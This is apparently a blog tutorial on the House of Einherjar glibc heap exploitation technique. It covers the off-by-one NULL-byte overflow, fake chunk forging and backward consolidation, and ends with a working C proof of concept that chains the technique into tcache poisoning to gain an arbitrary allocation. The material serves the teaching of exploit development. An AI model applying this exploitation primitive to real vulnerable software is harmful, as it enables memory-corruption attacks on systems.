House of Einherjar
How it works
- House of Einherjar is a go-to method for heap exploitation in case of a single NULL byte overflow vulnerability.
- It can be used to obtain overlapping chunks
- Which can further be used to launch other attacks (like tcache poisoning, demonstrated in PoC below)
- The idea is that we would have three consecutive chunks
fake: used to store a fake chunkmiddle: this is used for two purposes:- To use the off-by-bull vulnerability and write
\x00into next chunk - As the “overlapped” chunk after the attack
- To use the off-by-bull vulnerability and write
victim: this chunk will be overwritten by the\x00frommiddle
- We start by forging the fake chunk by setting its fields as:
prev_size = 0size = (will discuss later)next = &fakeprev = &fake
The
nextandprevfields are set to point to itself for the unlinking to happen successfully
- Then use
middleto write the samesizein thevictim’sprev_sizefield - Then finally we use the off-by-null vulnerability to write
\x00in thevictim’s size field - In our case the
sizewas0x101(with thePREV_INUSEbit set)
- And after overwriting it becomes
0x100=> thePREV_INUSEfield gets cleared
This is why it’s ideal if the size of
victimis a multiple of0x100
- This tricks the allocator algorithm. If you free
victimnow, the algorithm will think thatprev_sizebytes behind there is a free chunk, so it makes sense forvictimto consolidate backwards and insert it into the smallbin.
Typically on freeing
victimit should land in tcache which does not perform any consolidation, hence you should fill tcache just before callingfree(victim)
- But before that happens, the previous chunk needs to be “unlinked” from the doubly circular linked list of smallbin. The pointers are validated while unlinking. That is, the previous chunk must satisfy
chunk->prev = chunk->next = chunk(hence the pointers are set to point to itself) - I think it’s obvious now what the
sizemust be:&victim - &fake - 0x10(-0x10 to adjust for headers) - So all in all, this is what happens to the heap after free:
- As you can see, the heap thinks that there is a
0x140bytes chunk available @ our fake chunk address, and it will gladly return us this memory when requested - So we technically “own” the entire 0x140 bytes from the start of fake chunk
- This includes (overlaps) with the
middlechunk entirely - This is where the
middlechunk’s headers/data can be manipulated to launch other attacks
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/**
* Author: VulnX <vulnx101@gmail.com>
* Description: PoC for House of Einherjar attack
*
* How to compile and run:
* gcc einherjar.c -o einherjar -g && ./einherjar
*
* Expected output:
* TARGET ACHIEVED
*/
#include <assert.h>
#include <malloc.h>
#include <stddef.h>
#include <stdlib.h>
struct fake_chunk {
size_t prev_size;
size_t size;
void *next;
void *prev;
};
void fill_tcache(size_t size) {
void *chunks[7];
for (int i = 0; i < 7; i++) {
chunks[i] = malloc(size);
}
for (int i = 0; i < 7; i++) {
free(chunks[i]);
}
}
size_t mangle(void *ptr, void *addr) {
return (size_t)ptr ^ ((size_t)addr >> 12);
}
int main() {
void *target;
struct fake_chunk *fake = malloc(sizeof(struct fake_chunk));
fake->prev_size = 0;
fake->next = fake;
fake->prev = fake;
void *middle = malloc(0x20 - 8); // minimum sized allocation
void *victim = malloc(0x100 - 8); // Preferably a multiple of 0x100
size_t size_difference = victim - (void *)fake - 0x10;
*(size_t *)(middle + malloc_usable_size(middle) - sizeof(void *)) =
size_difference; // victim->prev_size = size_difference
// -- start vuln
*(char *)(middle + malloc_usable_size(middle)) =
'\0'; // clear PREV_INUSE bit from victim via OOB write
// -- end vuln
fake->size = size_difference; // Ensure fake->size == victim->prev_size ==
// size_difference
// fill tcache so that victim lands in smallbin *after* consolidating
// backwards
fill_tcache(0x100 - 8);
free(victim);
size_t consolidated_size = 0x100 + size_difference;
void *overlap = malloc(consolidated_size - 8);
assert(overlap - 0x10 == fake); // overlap now *contains* middle inside it
// -- normal tcache poisoning
void *another = malloc(0x20 - 8);
free(another);
free(middle);
void *target_addr =
(((size_t)&target & 0xf) == 0) ? &target : (void *)&target + 0x8;
*(size_t *)(overlap + malloc_usable_size(fake) + sizeof(void *) - 0x10) =
mangle(target_addr, middle);
void *obtained = malloc(0x20 - 8);
obtained = malloc(0x20 - 8);
assert(obtained == target_addr);
puts("TARGET ACHIEVED");
return 0;
}
This post is licensed under CC BY 4.0 by the author.